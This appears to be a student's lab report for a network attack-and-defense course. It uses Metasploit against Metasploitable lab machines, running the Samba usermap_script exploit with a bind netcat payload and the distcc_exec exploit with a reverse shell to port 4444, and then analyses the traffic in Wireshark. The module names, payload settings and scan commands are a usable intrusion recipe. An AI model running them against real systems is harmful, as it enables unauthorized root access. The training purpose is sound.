20253921 2025-2026-2 《网络攻防实践》第七周作业

20253921 2025-2026-2 《网络攻防实践》第七周作业

1.实践内容

(1)学习使用 Metasploit 对 Linux 靶机进行远程渗透攻击,掌握 Samba usermap_script 漏洞的利用方法,以及 payload 选择、参数配置和远程 Shell 获取过程。

(2)开展 Linux 环境下的攻防对抗实践,学习利用 distcc 远程命令执行漏洞发起攻击,并结合 Wireshark 对攻击流量进行抓包分析,提取攻击过程中的关键网络信息和命令交互内容。

2.实验过程

(1)使用 Metasploit 进行 Linux 远程渗透攻击

1)启动 Metasploit 软件并确认攻击环境

首先,在 Kali Linux 攻击机上使用 ifconfig 查看本机网络配置信息,确认攻击机的 IP 地址为 192.168.200.65。随后,在 Linux 靶机上同样使用 ifconfig 查看网络配置,确认靶机 IP 地址为 192.168.200.132。在明确攻击机与靶机地址后,攻击机启动 msfconsole 进入 Metasploit 控制台。

2)选择 Samba Usermap_script 漏洞利用模块

进入 Metasploit 后,使用 use exploit/multi/samba/usermap_script 选择针对 Samba 服务 Usermap_script 漏洞的渗透攻击模块。在进入漏洞模块后,先使用 show payloads 查看该模块支持的所有兼容载荷。结果中可以看到存在多种 Unix 平台下可用的 shell 类型 payload。

3)选择攻击 Payload 为远程 Shell

实验中最终选择 cmd/unix/bind_netcat 作为攻击载荷,并使用 set payload cmd/unix/bind_netcat 完成设置。该 payload 的作用是在目标主机上建立一个可连接的远程 shell 通道。

4)设置渗透攻击参数

完成 payload 选择后,继续使用 show options 查看当前模块需要配置的参数。结果显示该模块主要需要设置目标主机地址 RHOSTS,默认攻击端口为 RPORT 139,同时 payload 部分还涉及监听端口等参数。

5)执行渗透攻击

实验中使用 set rhost 192.168.200.132 设置靶机地址,将攻击目标明确指定为 Linux 靶机。在漏洞模块、payload 和目标参数配置完成后,执行 run 发起渗透攻击。运行结果显示 Metasploit 已成功启动 bind TCP handler,并与目标主机建立连接,终端中出现 Command shell session 1 opened 提示,说明针对 Samba Usermap_script 漏洞的利用已经成功完成。随后在会话中执行 ls 命令,可以正常列出目标主机中的目录和文件,包括 binbootdevetchomeroottmpusr 等系统目录。

6)查看远程 Shell 与获得的权限

漏洞利用成功后,攻击机成功获取了目标 Linux 主机的远程 Shell。随后在会话中执行 whoami,返回结果为 root;执行 id 后显示 uid=0(root) gid=0(root),说明当前已经获得目标主机的最高权限。接着继续执行 ifconfig,可以看到目标主机网卡地址和 IP 地址为 192.168.200.132,进一步确认当前控制的正是靶机本身。
在远程 Shell 中执行 touch attack_test.txt 创建测试文件,随后通过 ls -l 查看目录内容,可以清楚看到新生成的 attack_test.txt 文件,且属主和属组均为 root。这说明攻击机不仅成功得到了目标主机的远程 Shell,而且已经具备 root 权限下的文件操作和系统控制能力。

(2)实践作业:攻防对抗实践

首先,攻击方在 Kali Linux 主机上对目标 192.168.200.132 进行端口与服务扫描,使用 nmap -Pn -sV -p 21,22,23,25,80,139,445,3632,5432,5900,6667,8180 192.168.200.132 查看目标开放端口及服务信息。扫描结果显示目标主机开放了 3632/tcp 端口,并运行 distccd 服务,同时目标系统被识别为 Metasploitable Linux 主机。(因为背后发现有问题所以靶机ip进行了变动, 192.168.200.132改变为 192.168.200.68

在确认目标存在可利用服务后,攻击方启动 msfconsole 进入 Metasploit 控制台。随后选择漏洞利用模块 exploit/unix/misc/distcc_exec

进入模块后,攻击方先使用 show payloads 查看兼容的攻击载荷。实验中最终选择 cmd/unix/reverse 作为 payload,并使用 set PAYLOAD cmd/unix/reverse 完成设置。随后继续配置关键参数,其中攻击机地址 LHOST 设置为 192.168.200.65,目标主机地址 RHOST 设置为 192.168.200.68。参数设置完成后,说明攻击方已经构造好反向 Shell 的利用环境。

完成参数配置后,攻击方执行 run 发起漏洞利用。终端结果显示 Metasploit 已成功启动 reverse TCP 监听,并先后建立了连接,界面中出现 Command shell session opened 提示,说明漏洞利用成功。随后攻击方在获得的 Shell 中执行 whoamiidhostnameuname -a 等命令,返回结果显示当前用户为 daemon,主机名为 metasploitable,系统为 Linux 内核环境。

在防守方一侧,使用 Wireshark 对网络接口进行抓包监听。通过设置过滤条件 (ip.addr == 192.168.200.65 && ip.addr == 192.168.200.68) && tcp.port == 3632,可以定位到攻击方向目标主机 3632 端口发起的漏洞利用流量。抓包结果显示攻击机 192.168.200.65 首先与目标 192.168.200.683632/tcp 端口建立连接,并发送与 DISTCC 协议相关的数据,这对应了 distcc_exec 模块的漏洞利用过程。

为了进一步分析攻击结果,防守方又通过过滤条件 (ip.addr == 192.168.200.65 && ip.addr == 192.168.200.68) && tcp.port == 4444 查看反向连接建立过程。可以看到目标主机向攻击机 4444 端口发起连接,说明漏洞利用成功后建立了反向 Shell。随后在 Wireshark 中使用 Follow TCP Stream 跟踪关键会话,可以直接看到攻击方输入的命令内容,包括 whoamiidhostnameuname -a 等。由此可还原出本次攻击的关键信息:攻击者 IP 为 192.168.200.65,目标 IP 为 192.168.200.68,攻击利用的端口为 3632/tcp,反向 Shell 连接端口为 4444/tcp,所利用漏洞为 distcc 远程命令执行漏洞,使用的 Shellcode 类型为 cmd/unix/reverse,并且攻击成功后在命令行中执行了身份、权限和系统信息查询命令。

3.学习中遇到的问题及解决

  • 问题1:第二题前期误将 Windows 2000 主机作为 Metasploitable 靶机进行攻击,导致使用的 distcc_exec 模块与目标系统及服务不匹配,无法连接目标的 3632/tcp 端口。

  • 问题1解决方案:重新选择靶机,用Metasploitable 作为靶机进行攻击。

  • 问题2:做第(2)题的时候,因为和实践六一样也是用的同样的渗透攻击方式,但是我这次尝试的是另一个靶机也就是Linux靶机,但是一样是没有反应,不能成功攻击。

  • 问题2解决方案:根据上一次遇到的同种问题我选择换一个靶机,就是在实践六中换过地址的靶机,当然也可以把这个靶机换地址,一样的步骤。最后是选择换一个漏洞进行攻击,这样可以学习到更多。

4.学习感悟、思考

这次实验让我对 Linux 环境下的远程渗透过程有了更清楚的认识。通过自己配置 Metasploit 模块、选择 payload、设置参数并成功拿到远程 Shell,可以比较直观地理解漏洞利用是怎么一步步完成的。尤其是在成功进入靶机后,再用 whoamiidifconfig 这些命令确认权限和目标身份,会更明显地感受到渗透测试不是单纯把攻击跑通,而是要真正验证自己拿到了什么级别的控制权限。

还有就是这次攻防对抗实践也让我更能理解攻击和防守其实是对应在一起的。攻击方利用漏洞拿到 Shell,防守方再通过 Wireshark 去分析 3632 端口利用流量、4444 端口反向连接以及后续命令输入内容,这样整个攻击过程就能被一步步还原出来。做完这次实验之后,我觉得自己对漏洞利用、反向 Shell 建立和流量取证分析之间的关系理解得更完整了,也更清楚安全分析不能只看攻击结果,还要结合网络数据去还原全过程。

posted @ 2026-04-30 23:17  BoBooooo  阅读(11)  评论(0)    收藏  举报